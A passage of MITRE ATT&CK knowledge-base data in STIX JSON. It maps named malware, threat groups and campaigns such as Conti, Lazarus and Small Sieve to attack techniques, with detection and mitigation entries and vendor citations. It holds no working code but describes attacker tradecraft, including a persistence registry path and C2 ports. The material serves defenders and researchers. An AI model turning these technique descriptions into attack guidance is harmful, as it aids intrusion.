2022)","relationship_type":"uses","source_ref":"malware--ae91fb8f-5031-4f57-9839-e3be3ed503f0","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--70613a9f-e8c2-44ba-a238-34acb0b7e5b8","created":"2022-08-16T19:38:38.722Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCSC GCHQ Small Sieve Jan 2022","description":"NCSC GCHQ. (2022, January 27). Small Sieve Malware Analysis Report. Retrieved August 22, 2022.","url":"https://www.ncsc.gov.uk/files/NCSC-Malware-Analysis-Report-Small-Sieve.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T17:13:10.324Z","description":"[Small Sieve](https://attack.mitre.org/software/S1035) has the ability to add itself to `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\OutlookMicrosift` for persistence.(Citation: NCSC GCHQ Small Sieve Jan 2022)","relationship_type":"uses","source_ref":"malware--ff41b9b6-4c1d-407b-a7e2-835109c8dbc5","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--70648d67-a2f5-4021-8ffe-3bbcdbe8e78f","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Bankshot","description":"Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.","url":"https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/"}],"modified":"2020-02-18T03:40:29.863Z","description":"[Bankshot](https://attack.mitre.org/software/S0239) creates processes using the Windows API calls: CreateProcessA() and CreateProcessAsUserA().(Citation: McAfee Bankshot)","relationship_type":"uses","source_ref":"malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7064e494-5a32-4a40-b0b1-b19b9a145e73","created":"2023-04-10T15:38:02.911Z","revoked":false,"external_references":[{"source_name":"ClearSky Lazarus Aug 2020","description":"ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021.","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-10T15:38:02.911Z","description":"During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) conducted internal spearphishing from within a compromised organization.(Citation: ClearSky Lazarus Aug 2020)","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"attack-pattern--9e7452df-5144-4b6e-b04a-b66dd4016747","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--7065f730-96fc-4a33-b6fb-101af568b74b","created":"2022-08-22T13:51:02.820Z","x_mitre_version":"0.1","external_references":[{"source_name":"Symantec Bumblebee June 2022","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime","description":"Kamble, V. (2022, June 28). Bumblebee: New Loader Rapidly Assuming Central Position in Cyber-crime Ecosystem. Retrieved August 24, 2022."},{"source_name":"Proofpoint Bumblebee April 2022","url":"https://www.proofpoint.com/us/blog/threat-insight/bumblebee-is-still-transforming","description":"Merriman, K. and Trouerbach, P. (2022, April 28). This isn't Optimus Prime's Bumblebee but it's Still Transforming. Retrieved August 22, 2022."},{"source_name":"Google EXOTIC LILY March 2022","url":"https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/","description":"Stolyarov, V. (2022, March 17). Exposing initial access broker with ties to Conti. Retrieved August 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Bumblebee](https://attack.mitre.org/software/S1039) can download and execute additional payloads including through the use of a `Dex` command.(Citation: Google EXOTIC LILY March 2022)(Citation: Proofpoint Bumblebee April 2022)(Citation: Symantec Bumblebee June 2022)","modified":"2022-08-25T14:07:55.051Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--04378e79-4387-468a-a8f7-f974b8254e44","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7066827b-795c-447c-9c07-05765ed1e07b","type":"relationship","created":"2020-05-04T19:13:35.383Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT HOTCROISSANT February 2020","url":"https://www.us-cert.gov/ncas/analysis-reports/ar20-045d","description":"US-CERT. (2020, February 20). MAR-10271944-1.v1 – North Korean Trojan: HOTCROISSANT. Retrieved May 1, 2020."}],"modified":"2020-05-06T19:28:22.199Z","description":"[HotCroissant](https://attack.mitre.org/software/S0431) can perform dynamic DLL importing and API lookups using LoadLibrary and GetProcAddress on obfuscated strings.(Citation: US-CERT HOTCROISSANT February 2020)","relationship_type":"uses","source_ref":"malware--aad11e34-02ca-4220-91cd-2ed420af4db3","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--707474c8-890d-4be2-81d5-f6a4902b1309","type":"relationship","created":"2021-09-23T12:44:50.893Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Carbon Spider August 2021","url":"https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/","description":"Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021."}],"modified":"2021-09-23T12:44:50.893Z","description":"\n(Citation: CrowdStrike Carbon Spider August 2021)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"tool--c4810609-7da6-48ec-8057-1b70a7814db0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--70749e7d-7d83-4543-8019-593de42b2a49","type":"relationship","created":"2022-03-30T14:26:51.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.848Z","description":"Monitor for newly constructed files that may deface systems external to an organization in an attempt to deliver messaging, intimidate, or otherwise mislead an organization or users.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--0cfe31a7-81fc-472c-bc45-e2808d1066a3","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--707d131d-39ff-4ea0-a8ef-63dd7ca2a854","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sofacy Komplex Trojan","description":"Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.","url":"https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"}],"modified":"2020-01-17T19:50:01.381Z","description":"The OsInfo function in [Komplex](https://attack.mitre.org/software/S0162) collects the current running username.(Citation: Sofacy Komplex Trojan)","relationship_type":"uses","source_ref":"malware--f108215f-3487-489d-be8b-80e346d32518","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--707f2ce7-a09f-4df4-8b48-3106a63da041","type":"relationship","created":"2021-02-22T22:08:43.112Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CarbonBlack Conti July 2020","url":"https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/","description":"Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021."}],"modified":"2021-04-13T18:30:41.691Z","description":"[Conti](https://attack.mitre.org/software/S0575) can discover files on a local system.(Citation: CarbonBlack Conti July 2020)","relationship_type":"uses","source_ref":"malware--4dea7d8e-af94-4bfb-afe4-7ff54f59308b","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7080d506-ac77-4519-93aa-92bc490a2756","created":"2021-01-22T16:30:39.442Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCC Group Chimera January 2021","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:24:40.422Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has collected documents from the victim's SharePoint.(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--0c4b4fda-9062-47da-98b9-ceae2dcf052a","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--708161ff-7d5d-417a-83ad-d68ec6d4d01a","created":"2024-01-18T18:37:18.551Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat June 2022","description":"Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat/106799/"},{"source_name":"Kaspersky ToddyCat Check Logs October 2023","description":"Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-19T20:50:13.788Z","description":"[Ninja](https://attack.mitre.org/software/S1100) can obtain the computer name and information on the OS and physical drives from targeted hosts.(Citation: Kaspersky ToddyCat June 2022)(Citation: Kaspersky ToddyCat Check Logs October 2023)","relationship_type":"uses","source_ref":"malware--023254de-caaf-4a05-b2c7-e4e2f283f7a5","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7083356e-b0a6-4fff-ac50-6d0ea2a841bc","type":"relationship","created":"2020-01-31T18:58:17.423Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-31T18:58:17.423Z","relationship_type":"revoked-by","source_ref":"attack-pattern--7d6f590f-544b-45b4-9a42-e0805f342af3","target_ref":"attack-pattern--4cbc6a62-9e34-4f94-8a19-5c1a11392a49","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--70879424-99b5-4ebe-8c77-cf872738dfcf","created":"2022-09-27T18:06:28.170Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T18:06:28.170Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors used valid VPN credentials to gain initial access.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--708ac02f-8419-43bd-a6d6-682e28faa507","created":"2024-08-08T18:40:37.117Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Iran Albanian Attacks September 2022","description":"CISA. (2022, September 23). AA22-264A Iranian State Actors Conduct Cyber Operations Against the Government of Albania. Retrieved August 6, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-264a"},{"source_name":"Mandiant ROADSWEEP August 2022","description":"Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T13:30:10.505Z","description":"[ROADSWEEP](https://attack.mitre.org/software/S1150) can decrypt embedded scripts prior to execution.(Citation: Mandiant ROADSWEEP August 2022)(Citation: CISA Iran Albanian Attacks September 2022)","relationship_type":"uses","source_ref":"malware--be471c69-12d5-4bcc-9dad-3d42c3dbca4b","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7097c09f-9d93-4107-9b24-f65481d636fa","type":"relationship","created":"2022-03-30T14:26:51.846Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.846Z","description":"Monitor emond rules creation by checking for files created in /etc/emond.d/rules/ and /private/var/db/emondClients.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--9c45eaa3-8604-4780-8988-b5074dbb9ecd","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7097c7b2-9266-4659-955b-38214d5ada8c","created":"2023-02-21T19:38:13.470Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-21T19:38:13.470Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--8861073d-d1b8-4941-82ce-dce621d398f0","target_ref":"attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7098d4d8-3fac-406e-84e1-508771c89802","created":"2024-03-28T15:45:21.625Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye TRITON 2019","description":"Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T15:14:45.487Z","description":"During the [C0032](https://attack.mitre.org/campaigns/C0032) campaign, [TEMP.Veles](https://attack.mitre.org/groups/G0088) used port-protocol mismatches on ports such as 443, 4444, 8531, and 50501 during C2.(Citation: FireEye TRITON 2019)","relationship_type":"uses","source_ref":"campaign--7ec2826c-0bf0-4b47-acae-fd683431a4ca","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--709d0737-e2ac-4ce3-9772-0dbc06f9667e","type":"relationship","created":"2020-06-09T21:23:39.163Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Skidmap","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/","description":"Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020."}],"modified":"2020-06-25T13:32:00.207Z","description":"[Skidmap](https://attack.mitre.org/software/S0468) has the ability to check whether the infected system’s OS is Debian or RHEL/CentOS to determine which cryptocurrency miner it should use.(Citation: Trend Micro Skidmap)","relationship_type":"uses","source_ref":"malware--4b68b5ea-2e1b-4225-845b-8632f702b9a0","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--70a17629-6b01-4764-932b-8be576270329","created":"2019-04-18T20:13:56.028Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye Hacking FIN4 Dec 2014","description":"Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved December 17, 2018.","url":"https://www.mandiant.com/sites/default/files/2021-09/rpt-fin4.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-01T21:27:44.788Z","description":"[FIN4](https://attack.mitre.org/groups/G0085) has created rules in victims' Microsoft Outlook accounts to automatically delete emails containing words such as “hacked,\" \"phish,\" and “malware\" in a likely attempt to prevent organizations from communicating about their activities.(Citation: FireEye Hacking FIN4 Dec 2014)","relationship_type":"uses","source_ref":"intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6","target_ref":"attack-pattern--0cf55441-b176-4332-89e7-2c4c7799d0ff","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--70a1cab8-dd98-4b82-9f7f-36294e3889c0","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","source_name":"Cylance Dust Storm"}],"modified":"2022-01-19T21:10:01.021Z","description":"[Misdat](https://attack.mitre.org/software/S0083) is capable of deleting the backdoor file.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--70a93fc8-83c0-4407-8224-ae447af1235a","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Baumgartner Naikon 2015","description":"Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"}],"modified":"2019-05-03T16:45:45.253Z","description":"[WinMM](https://attack.mitre.org/software/S0059) is usually configured with primary and backup domains for C2 communications.(Citation: Baumgartner Naikon 2015)","relationship_type":"uses","source_ref":"malware--22addc7b-b39f-483d-979a-1b35147da5de","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--70abdc89-e300-4e57-8c0d-20a59188a561","created":"2024-07-25T22:32:34.406Z","revoked":false,"external_references":[{"source_name":"Symantec Daggerfly 2024","description":"Threat Hunter Team. (2024, July 23). Daggerfly: Espionage Group Makes Major Update to Toolset. Retrieved July 25, 2024.","url":"https://symantec-enterprise-blogs.security.com/threat-intelligence/daggerfly-espionage-updated-toolset"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-25T22:32:34.406Z","description":"[Nightdoor](https://attack.mitre.org/software/S1147) creates a cmd.exe shell to send and receive commands from the command and control server via open pipes.(Citation: Symantec Daggerfly 2024)","relationship_type":"uses","source_ref":"malware--51f78dfc-52f9-424e-8753-bb4246188313","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--70add783-c72c-4048-ba94-5e1e79c2d679","created":"2019-10-10T19:17:52.805Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CloudSploit - Unused AWS Regions","description":"CloudSploit. (2019, June 8). The Danger of Unused AWS Regions. Retrieved October 8, 2019.","url":"https://medium.com/cloudsploit/the-danger-of-unused-aws-regions-af0bf1b878fc"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-14T16:28:24.681Z","description":"Cloud service providers may allow customers to deactivate unused regions.(Citation: CloudSploit - Unused AWS Regions)","relationship_type":"mitigates","source_ref":"course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067","target_ref":"attack-pattern--59bd0dec-f8b2-4b9a-9141-37a1e6899761","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--70af600c-ca7a-4ea3-8c03-3a166e2d88a7","type":"relationship","created":"2020-05-15T13:41:30.676Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FOX-IT May 2016 Mofang","url":"https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf","description":"Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}],"modified":"2020-05-15T18:47:04.424Z","description":"[ShimRatReporter](https://attack.mitre.org/software/S0445) used LZ compression to compress initial reconnaissance reports before sending to the C2.(Citation: FOX-IT May 2016 Mofang)\t","relationship_type":"uses","source_ref":"tool--115f88dd-0618-4389-83cb-98d33ae81848","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--70b1afda-98b8-4c7c-ad41-ceb2b45af5d4","type":"relationship","created":"2021-10-14T16:29:19.187Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye SMOKEDHAM June 2021","url":"https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html","description":"FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate’s Supply Chain Software Compromise. Retrieved September 22, 2021."}],"modified":"2021-10-14T16:29:19.187Z","description":"[SMOKEDHAM](https://attack.mitre.org/software/S0649) has used reg.exe to create a Registry Run key.(Citation: FireEye SMOKEDHAM June 2021)","relationship_type":"uses","source_ref":"malware--7e0f8b0f-716e-494d-827e-310bd6ed709e","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--70b27780-b19a-4313-88ea-1038ce0fc386","type":"relationship","created":"2021-02-09T14:35:39.641Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secure List Bad Rabbit","url":"https://securelist.com/bad-rabbit-ransomware/82851/","description":"Mamedov, O. Sinitsyn, F. Ivanov, A.. (2017, October 24). Bad Rabbit ransomware. Retrieved January 28, 2021."}],"modified":"2021-05-04T19:28:12.850Z","description":"[Bad Rabbit](https://attack.mitre.org/software/S0606) can enumerate all running processes to compare hashes.(Citation: Secure List Bad Rabbit)","relationship_type":"uses","source_ref":"malware--2eaa5319-5e1e-4dd7-bbc4-566fced3964a","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--70b2e51a-c5c4-48af-8f9c-112a4854e18d","type":"relationship","created":"2020-11-09T16:28:37.544Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Brazilian Banking Malware July 2020","url":"https://securelist.com/the-tetrade-brazilian-banking-malware/97779/","description":"GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}],"modified":"2020-11-09T16:28:37.544Z","description":"[Astaroth](https://attack.mitre.org/software/S0373) can launch itself via DLL Search Order Hijacking.(Citation: Securelist Brazilian Banking Malware July 